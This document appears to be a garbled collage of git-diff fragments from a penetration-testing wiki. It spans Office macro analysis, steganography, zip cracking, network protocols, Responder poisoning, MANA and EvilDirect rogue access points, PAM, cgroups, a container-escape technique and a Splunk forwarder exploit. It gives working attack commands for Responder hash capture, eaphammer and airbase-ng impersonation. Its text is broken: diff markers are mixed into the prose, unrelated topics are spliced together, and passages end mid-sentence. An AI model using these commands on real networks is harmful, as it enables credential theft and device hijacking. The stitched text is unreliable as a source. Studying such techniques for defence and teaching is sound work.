These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. -As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files.

Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. -Once again, a Python toolset exists for the examination and **analysis of OLE and OOXML documents**: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com) is a very powerful analysis framework (and Python library). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt). +For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. -Sometimes the challenge is not to find hidden static data, but to **analyze a VBA macro** to determine its behavior. This is a more realistic scenario and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line: - -``` -$ soffice path/to/test.docx macro://./standard.module1.mymacro -``` - -## [oletools](https://github.com/decalage2/oletools) +Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` -## Automatic Execution - -Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automatically** **executed**. - -## References - -* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)

As with image file formats, steganography might be used to embed a secret message in the content data, and again you should know to check the file metadata areas for clues. Your first step should be to take a look with the [mediainfo](https://mediaarea.net/en/MediaInfo) tool \(or `exiftool`\) and identify the content type and look at its metadata. - -[Audacity](http://www.audacityteam.org/) is the premier open-source audio file and waveform-viewing tool. CTF challenge authors love to encode text into audio waveforms, which you can see using the spectrogram view \(although a specialized tool called [Sonic Visualiser](http://www.sonicvisualiser.org/) is better for this task in particular\). Audacity can also enable you to slow down, reverse, and do other manipulations that might reveal a hidden message if you suspect there is one \(if you can hear garbled audio, interference, or static\). [Sox](http://sox.sourceforge.net/) is another useful command-line tool for converting and manipulating audio files. - -It's also common to check Least Significant Bits (LSB) for a secret message. Most audio and video media formats use discrete (fixed-size) "chunks" so that they can be streamed; the LSBs of those chunks are a common place to smuggle some data without visibly affecting the file. - -Other times, a message might be encoded into the audio as [DTMF tones](http://dialabc.com/sound/detect/index.html) or morse code. For these, try working with [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) to decode them. - -Video file formats are container formats, that contain separate streams of both audio and video that are multiplexed together for playback. For analyzing and manipulating video file formats, [FFmpeg](http://ffmpeg.org/) is recommended. `ffmpeg -i` gives an initial analysis of the file content. It can also de-multiplex or playback the content streams. The power of FFmpeg is exposed to Python using [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html). - + + +

However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. -Another note about zip cracking is that if you have an unencrypted/uncompressed copy of any one of the files that are compressed in the encrypted zip, you can perform a "plaintext attack" and crack the zip, as [detailed here](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), and explained in [this paper](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). The newer scheme for password-protecting zip files (with AES-256, rather than "ZipCrypto") does not have this weakness. - -From: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](https://app.gitbook.com/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/) +# References +* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)

The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. -**By default, all switch ports operate in Dynamic Auto mode.** This indicates that the switch port is in trunk initiation mode from the neighbouring switch. **The Pentester needs to physically connect to the switch and send a DTP Desirable frame**, which triggers the port to switch to trunk mode.

Resolving such conflicts requires network-configuration changes. +DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`).

This way you can log in faster and your **data is only stored in one place** and you don't have to put usernames/passwords everywhere. - -This works like this: - -First you have to be already logged into google or a window will open for you to log in. Immediately afterwards, the service will ask the google server for a token to access your info. Google will drop one of those screens of "_The application XXXXX wants to access this information of yours: ..._" when you click on accept, google will respond to the application with a code which the application will use to request a token with which google will respond. Once the application has a token, it can be used with the Google API to obtain the information it requested. - -# RADIUS - - Authentication and authorization protocol to access a network. \(Uses UDP port 1813\) - -It is mainly used by internet service providers to manage network access for their customers. - -Allows Authentication, Authorization and Annotation. - -How does it work: - -The user first talks to the NAS \(gateway to the server\), it checks that the name and password sent to it are valid by asking the RADIUS server. - -Optionally for greater security you can check the network address or phone number of the server to see if it matches. - -Both the RADIUS server and the user that tries to connect have a "shared secret", in this way the RADIUS server sends a challenge to the NAS that it forwards to the user that is logging in, this encrypts it with said secret and forwards it to the NAS and if it matches with the encryption that RADIUS has done, the user has proven his identity. - -Once the identity is proven, the RADIUS user instructs the NAS to assign the user an IP address. Also, when this is done, the NAS sends a start message to RADIUS for it to record. When the user logs out, the NAS sends a termination message. In this way, RADIUS records the consumption of the session to be able to bill accordingly \ (this data is also used for statistical reasons \) +SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. -# SMB and NetBIOS +## Web Service for Devices (WSD) +Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD).

It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. -The objective of SMB being implemented over only TCP or over NetBIOS + TCP is to increase the communication capacity with more equipment that only supports one or the other. +### NetBIOS (Network Basic Input/Output System) +NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. -## **NetBIOS** +## LDAP (Lightweight Directory Access Protocol) +LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. -Its function is to establish sessions and maintain connections in order to share network resources, but to send packets from one site to another it requires IPC/IPX or NetBEUI or TCP/IP. - -Every machine using NetBIOS must have a unique **name** that distinguishes it from the rest. So when a new machine comes in, it's first checked that no one is using the name it's requesting to use. there are also **group names** that can be used by as many stations as they want but there can't be two groups with the same name. It is a way to be able to send messages to several machines. So you can send messages to a user, a group or broadcast. - -The connection can be connectionless or connection-oriented: - - **connectionless:** A datagram is sent to the destination but there is no form of hello or message received. The destination machine must be configured to be able to receive datagrams. - - **connection-orineted:** A session is created between two names \(it can even be between two names of the same machine\) if a received or error message is sent. - -**NetBEUI** really consists of NetBIOS over NetBEUI which is a network and transport protocol that leads to NetBIOS, it was fast but very noisy because it broadcast a lot, you can also have SMB over NetBEUI but it's more normal than NetBIOS run over TCP. - -# LDAP - - Protocol that allows managing directories and accessing user information bases through TCP/IP. - -It allows both extracting information and introducing it through different commands. - -Therefore, it is a protocol that is used to access various databases that are prepared to speak this protocol. - -# Active Directory - -It is basically a database of objects with information such as users, groups, privileges and resources that is accessible from the network \(through a domain\) so that said information can be accessed and managed centrally. - -Server that saves objects. These objects are visible on the network through a domain. A domain can have within it its server where it is implemented, groups, users... - -You can also have subdomains that have their own server associated with their groups, users... - -In this way, the management of users of a network is centralized, since the users that can be logged in can be generated on this server, with the permissions they have to know if they can access certain network resources and thus all this can be controlled a simple way. - -In this way you can consult the directory with a username and obtain information such as email or phone number. You can also make general inquiries such as: where are the printers? What are the domain names? +## Active Directory (AD) +Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain.

Detailed parameters and instructions can be found in the [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). -```bash -responder -I --wpad -``` - -You can also **resolve NetBIOS** requests with **your IP**.

When a workstation sends a DHCP request to get its networking settings, these additional settings can be included in the DHCP answer to facilitate straightforward connectivity and name resolution. - -Spoofing DHCP responses with no disruption can be challenging since you're interfering with a workstation network configuration. Usually, you need to have very good knowledge of the target subnet, where is the DNS server, where is the switch, routing table, domain, netmask, DHCP server, etc. **Any mistake with these settings will result in disruption on the network.** - -However, spoofing DHCP answers has unique benefits. **It's definitely stealthier than ARP poisoning**; One unicast response is sufficient to permanently poison a victim's routing information, it's also common to see multiple DHCP servers operating on a network. Unicast DHCP answers are more complex to detect, a few switch provides security settings to prevent DHCP snooping, however those settings are not straightforward and are often misconfigured when enabled. - -> This attack is highly effective and gives you assured NTLMv1/2 hashes. - -```bash -./Responder.py -I eth0 -Pdv -``` - -#### Responder - Capturing credentials - -Responder is going to **impersonate all the service using the mentioned protocols**.

This causes the affected stations to automatically send an association request to the attacker’s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker. +This method allows an **attacker to create a malicious access point (AP) that responds to all probe requests** from devices seeking to connect to networks. This technique **tricks devices into connecting to an attacker's AP** by mimicking the networks the devices are searching for. Once a device sends a connection request to this rogue AP, it completes the connection, leading the device to mistakenly connect to the attacker's network. ### MANA -According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device. +Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. -In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table (if it’s not there already) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL. +The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP. -MANA attack using eaphammer: - -``` +```bash ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` ### Loud MANA -Notice that the standard MANA attack still does not allow us to attack devices that don’t use directed probing at all.

It operates on the principle that **devices in the same area are likely to share some network names in their PNLs**. Instead of responding selectively, this attack broadcasts probe responses for every network name (ESSID) found in the combined PNLs of all observed devices. This broad approach increases the chance of a device recognizing a familiar network and attempting to connect to the rogue Access Point (AP). -A possibility is what is called Loud MANA attack. This attack relies on the idea that client devices within close physical proximity to one another are likely to have at least some common entries in their PNLs. - -In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device’s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before.

This capability is integrated into various Internet of Things (IoT) devices, such as printers and televisions, facilitating direct device-to-device communication. A notable feature of Wi-Fi Direct is that one device takes on the role of an access point, known as the group owner, to manage the connection. -Wi-Fi Direct relies on Wi-Fi Protected Setup (**WPS**) to securely connect the devices. WPS has multiple configuration methods such as **Push-Button** Configuration (PBC), **PIN entry**, and **Near-Field** Communication (NFC) +Security for Wi-Fi Direct connections is established through **Wi-Fi Protected Setup (WPS)**, which supports several methods for secure pairing, including: +- **Push-Button Configuration (PBC)** +- **PIN entry** +- **Near-Field Communication (NFC)** -So the attacks previously seen to WPS PIN are also valid here if PIN is used. +These methods, particularly PIN entry, are susceptible to the same vulnerabilities as WPS in traditional Wi-Fi networks, making them targets for similar attack vectors. ### EvilDirect Hijacking -This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group owner to try to make other devices like phons connect to you: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` +**EvilDirect Hijacking** is an attack specific to Wi-Fi Direct. It mirrors the concept of an Evil Twin attack but targets Wi-Fi Direct connections. In this scenario, an attacker impersonates a legitimate group owner with the aim of deceiving devices into connecting to a malicious entity. This method can be executed using tools like `airbase-ng` by specifying the channel, ESSID, and MAC address of the impersonated device: ## References @@ -818,6 +834,8 @@ This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group o * [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) +* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) +* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals) diff --git a/generic-methodologies-and-resources/phishing-methodology/README.md b/generic-methodologies-and-resources/phishing-methodology/README.md index 7d33d2943..ca3147c8f 100644 --- a/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/generic-methodologies-and-resources/phishing-methodology/README.md @@ -59,13 +59,13 @@ Other ways to support HackTricks: ### Bitflipping -In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\ -This applies to domains too.

While there are many modules which support more than one of these realms \(indeed, pam\_unix supports all of them\), others, like pam\_cracklib for instance, are only suited for one \(the ‘password’ facility in pam\_cracklib’s case\). +These realms, or management groups, include **auth**, **account**, **password**, and **session**, each responsible for different aspects of the authentication and session management process: -* **auth**: The ‘auth’ realm \(I call it a realm – the docs refer to it as a ‘management group’ or ‘facility’\) is responsible for checking that the user is who they say. The modules that can be listed in this area **generally** support **prompting for a password**. -* **account**: This area is responsible for a wide array of possible **account verification functionality**. There are many modules available for this facility. Constraints to the use of a service based on **checking group membership**, time of day, whether a user account is local or remote, etc., are generally enforced by modules which support this facility. -* **password**: The modules in this area are responsible for any functionality needed in the course of **updating passwords** for a given service. Most of the time, this section is pretty ‘ho-hum’, simply calling a module that **will prompt for a current password**, and, assuming that’s successful, prompt you for a new one. Other modules could be added to perform **password complexity** or dictionary checking as well, such as that performed by the pam\_cracklib and pam\_pwcheck modules. -* **session**: Modules in this area perform any number of things that happen either **during the setup or cleanup of a service** for a given user. This may include any number of things; launching a system-wide initialization script, performing special logging, **mounting the user’s home directory**, or setting resource limits. +- **Auth**: Validates user identity, often by prompting for a password. +- **Account**: Handles account verification, checking for conditions like group membership or time-of-day restrictions. +- **Password**: Manages password updates, including complexity checks or dictionary attacks prevention. +- **Session**: Manages actions during the start or end of a service session, such as mounting directories or setting resource limits. -## **PAM Module Controls** +### **PAM Module Controls** -The **middle column** holds a keyword that essentially determines w**hat PAM should do if the module either succeeds or fails**. These keywords are called ‘**controls**’ in PAM-speak. In 90% of the cases, you can use one of the common keywords \(**requisite**, **required**, **sufficient** or **optional**\). However, this is only the tip of the iceberg in terms of unleashing the flexibility and power of PAM. +Controls dictate the module's response to success or failure, influencing the overall authentication process. These include: -* **required**: If a ‘required’ module returns a status that is **not ‘success’**, the **operation will ultimately fail ALWAYS**, but only after the **modules below it are invoked**. This seems senseless at first glance I suppose, but it serves the purpose of **always acting the same way from the point of view of the user** trying to utilize the service. The net effect is that it becomes **impossible** for a potential cracker to **determine** **which** **module** caused the **failure**. -* **requisite**: If a ‘requisite’ module fails, the **operation** not only **fails**, but the operation is **immediately** **terminated** with a failure without invoking any other modules. -* **sufficient**: If a **sufficient** module **succeeds**, it is enough to satisfy the requirements of sufficient modules in that realm for use of the service, and **modules below it that are also listed as ‘sufficient’ are not invoked**. **If it fails, the operation fails unless a module invoked after it succeeds**. -* **optional**: An ''optional’ module, according to the pam\(8\) manpage, **will only cause an operation to fail if it’s the only module in the stack for that facility**. +- **Required**: Failure of a required module results in eventual failure, but only after all subsequent modules are checked. +- **Requisite**: Immediate termination of the process upon failure. +- **Sufficient**: Success bypasses the rest of the same realm's checks unless a subsequent module fails. +- **Optional**: Only causes failure if it's the sole module in the stack. -## Example +### Example Scenario -In our example file, we have four modules stacked for the auth realm: - -```text -auth required /lib/security/pam_securetty.so -auth required /lib/security/pam_env.so -auth sufficient /lib/security/pam_ldap.so -auth required /lib/security/pam_unix.so try_first_pass -``` - -As the modules are invoked in order, here is what will happen: - -1. The ‘**pam\_securetty**’ module will check its config file, **`/etc/securetty`**, and see if the terminal being used for this login is listed in the file. If **it’s not, root logins will not be permitted**. If you try to log in as root on a ‘bad’ terminal, this module will fail. Since it’s ‘required’, it will still invoke all of the modules in the stack. However, even if every one of them succeeds, the login will fail. Interesting to note is that if the module were listed as ‘requisite’, the operation would terminate with a failure immediately, without invoking any of the other modules, no matter what their status. -2. The ‘**pam\_env**’ module will s**et environment variables** based on what the administrator has set up in /etc/security/pam\_env.conf. On a default setup of Redhat 9, Fedora Core 1, and Mandrake 9.2, the configuration file for this module doesn’t actually set any variables. A good use for this might be automatically setting a DISPLAY environment variable for a user logging in via SSH so they don’t have to set it themselves if they want to shoot an ‘xterm’ back to their remote desktop \(though this can be taken care of by OpenSSH automagically\). -3. The ‘**pam\_ldap**’ module will **prompt** the user for a **password**, and then check the ldap directory indicated in **`/etc/ldap.conf`** to authenticate the user. If this fails, the operation can still succeed if ‘pam\_unix’ succeeds in authenticating the user. If pam\_ldap succeeds, ‘pam\_unix’ will not be invoked. -4. The ‘**pam\_unix**’ module, in this case, will **not prompt the user for a password**. The ‘try\_first\_pass’ argument will tell the module to **use the password given to it by the preceding module** \(in this case, pam\_ldap\). It will try to authenticate the user using the standard getpw\* system calls. If pam\_unix fails, and pam\_ldap has failed, the operation will fail. If pam\_ldap fails, but pam\_unix succeeds, the operation will succeed \(this is extremely helpful in cases where root is not in the ldap directory, but is still in the local /etc/passwd file!\). +In a setup with multiple auth modules, the process follows a strict order. If the `pam_securetty` module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The `pam_env` sets environment variables, potentially aiding in user experience. The `pam_ldap` and `pam_unix` modules work together to authenticate the user, with `pam_unix` attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods. +# References +* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)

D-BUS was designed from scratch to fulfil the needs of a modern Linux system. +D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. -As a full-featured IPC and object system, D-BUS has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think **UNIX domain sockets on steroids**. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately integrate better. For example, a Bluetooth daemon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. (From [here](https://www.linuxjournal.com/article/7744)). +The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. -D-Bus uses an **allow/deny model**, where each message (method call, signal emission, etc.) can be **allowed or denied** according to the sum of all policy rules which match it. Each rule in the policy should have the `own`, `send_destination` or `receive_sender` attribute set. +D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules.

Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup. -
+![Cgroup Filesystem](../../../.gitbook/assets/image%20(10)%20(2)%20(2).png) -Among the many files that can be here, **the primary cgroup interface files begin with `cgroup`**. Start by looking at `cgroup.procs` (using cat is fine), which lists the processes in the cgroup. A similar file, `cgroup.threads`, also includes threads. +The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information. -
+![Cgroup Procs](../../../.gitbook/assets/image%20(1)%20(1)%20(5).png) -Most cgroups used for shells have these two controllers, which can control the **amount of memory** used and the **total number of processes in the cgroup**.

To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup. -
+![Cgroup Memory](../../../.gitbook/assets/image%20(3)%20(5).png) + +The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy. -A value of **max means that this cgroup has no specific limit**, but because cgroups are hierarchical, a cgroup back down the subdirectory chain might limit it. ### Manipulating and Creating cgroups -To put a process into a cgroup, **write its PID to its `cgroup.procs` file as root:** +Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**.

Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: -* You can put **processes only in outer-level (“leaf”) cgroups**. For example, if you have cgroups named /my-cgroup and /my-cgroup/my-subgroup, you can’t put processes in /my-cgroup, but /my-cgroup/my-subgroup is okay. (An exception is if the cgroups have no controllers, but let’s not dig further.) -* A cgroup **can’t have a controller that isn’t in its parent cgroup**. -* You must explicitly **specify controllers for child cgroups**. You do this through the `cgroup.subtree_control` file; for example, if you want a child cgroup to have the cpu and pids controllers, write +cpu +pids to this file. +- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). +- **A cgroup cannot possess a controller absent in its parent**. +- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup: -An exception to these rules is the **root cgroup** found at the bottom of the hierarchy. You can **place processes in this cgroup**. One reason you might want to do this is to detach a process from systemd’s control. +```bash +echo "+cpu +pids" > cgroup.subtree_control +``` -Even with no controllers enabled, you can see the CPU usage of a cgroup by looking at its cpu.stat file: +The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management. -
+**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: -Because this is the accumulated CPU usage over the entire lifespan of the cgroup, you can see how a service consumes processor time even if it spawns many subprocesses that eventually terminate. +

This is just a summary: -# Introduction +The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings. -The previous PoCs work fine when the container is configured with a storage-driver which exposes the **full host path of the mount point**, for example `overlayfs`, however there are configurations which did **not obviously disclose the host file system mount point**. +Key steps: -In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a +1. **Locating Process IDs (PIDs):** Using the `/proc//root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host. +2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc//root/`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. +3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. -## Examples of container not exposing the path location inside the host +### Exploitation Process -### Kata Containers +The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds: -``` -root@container:~$ head -1 /etc/mtab -kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) -``` +1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation. +2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable. +3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. +4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. +5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. -[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`.

This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions. +### Capability Sets: -## Capabilities Sets +1. **Inherited (CapInh)**: + - **Purpose**: Determines the capabilities passed down from the parent process. + - **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set.

For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective. + - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use. -**CapEff**: The _effective_ capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls. +3. **Permitted (CapPrm)**: + - **Purpose**: Defines the maximum set of capabilities a process can possess. + - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability.

The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap\_setpcap capability in its thread effective set. +4. **Bounding (CapBnd)**: + - **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle. + - **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set. + - **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security. -**CapInh**: Using the _inherited_ set all capabilities that are allowed to be inherited from a parent process can be specified.

The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system. +**Exploit Overview:** +An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network. -This attack is being used by Penetration Testers and is likely being actively exploited in the wild by malicious attackers. Gaining the password could lead to the compromise of hundreds of system in a customer environment. +**Key Points:** +- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution. +- Common password acquisition methods include locating them in network directories, file shares, or internal documentation. +- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration. -Splunk UF passwords are relatively easy to acquire, see the secion Common Password Locations for details. +**Exploit Execution:** +1. Attacker obtains the UF agent password. +2. Utilizes the Splunk API to send commands or scripts to the agents. +3. Possible actions include file extraction, user account manipulation, and system compromise. -### Context: - -Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular. - -Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The 